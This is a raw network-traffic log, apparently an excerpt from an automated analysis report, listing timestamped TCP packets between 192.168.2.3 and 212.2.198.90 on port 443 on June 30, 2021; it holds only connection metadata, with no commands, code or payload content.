Jun 30, 2021 20:06:09.535621881 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535624981 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535639048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535655975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535665035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535676003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535693884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535696983 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535710096 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535727024 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535732031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535757065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535768032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535775900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535801888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535811901 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535811901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535825968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535841942 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535844088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535861969 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535880089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535881996 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535897970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535916090 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535927057 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535936117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535954952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535963058 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535974026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.535984993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.535990953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536009073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536021948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536026001 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536045074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536062956 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536065102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536087036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536094904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536106110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536123037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536134005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536143064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536160946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536170006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536180019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536200047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536206961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536215067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536223888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536226034 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536242008 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536262989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536263943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536282063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.536309958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.536331892 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.537739992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.537763119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.537780046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.537803888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.537822008 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.537869930 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.546327114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546360970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546374083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546396017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546412945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546431065 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546448946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546459913 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546473026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546492100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546509981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546523094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546521902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.546535015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546547890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.546550989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.546555042 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546575069 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546580076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.546592951 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546602011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.546612024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546629906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546647072 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546662092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.546664000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.546704054 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.547537088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547555923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547574997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547593117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547610044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547621965 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.547627926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547645092 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547656059 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.547666073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547683954 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547692060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.547700882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547718048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547722101 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.547735929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547745943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.547780037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.547816992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.547858953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.548001051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548043013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.548100948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548141003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.548156977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548178911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548197031 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548206091 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.548209906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548228979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548240900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.548276901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.548785925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548806906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548825979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548842907 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548846960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.548860073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548892021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.548892975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.548930883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.549074888 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.549115896 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553004980 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553028107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553045988 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553062916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553081036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553097963 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553114891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553132057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553129911 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553152084 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553170919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553189039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553198099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553236961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553256035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553294897 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553425074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553474903 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553600073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553642035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553762913 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553807020 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553844929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553886890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.553932905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.553975105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.554023981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.554064989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.554192066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.554229021 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.554248095 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.554281950 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.554393053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.554433107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.554955959 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555017948 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555493116 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555529118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555552959 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555557013 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555584908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555593967 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555612087 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555627108 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555638075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555659056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555665016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555682898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555691957 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555705070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555725098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555730104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555753946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555768967 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555783987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555799961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555811882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555824041 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555839062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555854082 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555865049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555881023 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555900097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555905104 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555927038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555948019 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555953979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.555980921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.555980921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556006908 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556008101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556027889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556041002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556055069 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556071997 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556082010 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556097984 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556107044 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556126118 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556153059 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556154013 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556181908 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556191921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556220055 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556258917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556271076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556296110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556298018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556304932 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556319952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556348085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556360006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556376934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556399107 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556406975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556421995 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556442022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556447029 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556472063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556473017 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556500912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556512117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556529999 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556535006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556554079 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556557894 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556574106 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556585073 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556602955 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556622982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556624889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556674004 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556679964 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556727886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556740046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556787014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556807041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556847095 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556852102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556883097 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556911945 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556938887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556948900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.556973934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.556988001 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557009935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557010889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557045937 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557056904 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557087898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557600975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557650089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557673931 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557693958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557703972 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557749033 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557787895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557821989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557842016 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557858944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557874918 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557893038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557899952 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557929993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557941914 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.557965994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.557976961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558016062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558399916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558438063 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558453083 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558473110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558484077 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558506012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558516026 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558557987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558558941 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558592081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558605909 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558628082 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558638096 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558662891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558665037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558696985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558706999 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558732033 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558742046 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558764935 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558767080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558808088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558814049 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558859110 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558867931 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558913946 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558917046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.558967113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.558989048 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559032917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559034109 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559066057 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559067965 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559101105 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559129953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559153080 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559185982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559227943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559231043 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559262991 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559274912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559293985 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559314966 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559360027 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559371948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559416056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559421062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559469938 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:09.559469938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559504032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:09.559519053 CEST	443	49720	212.2.198.90	192.168.2.3
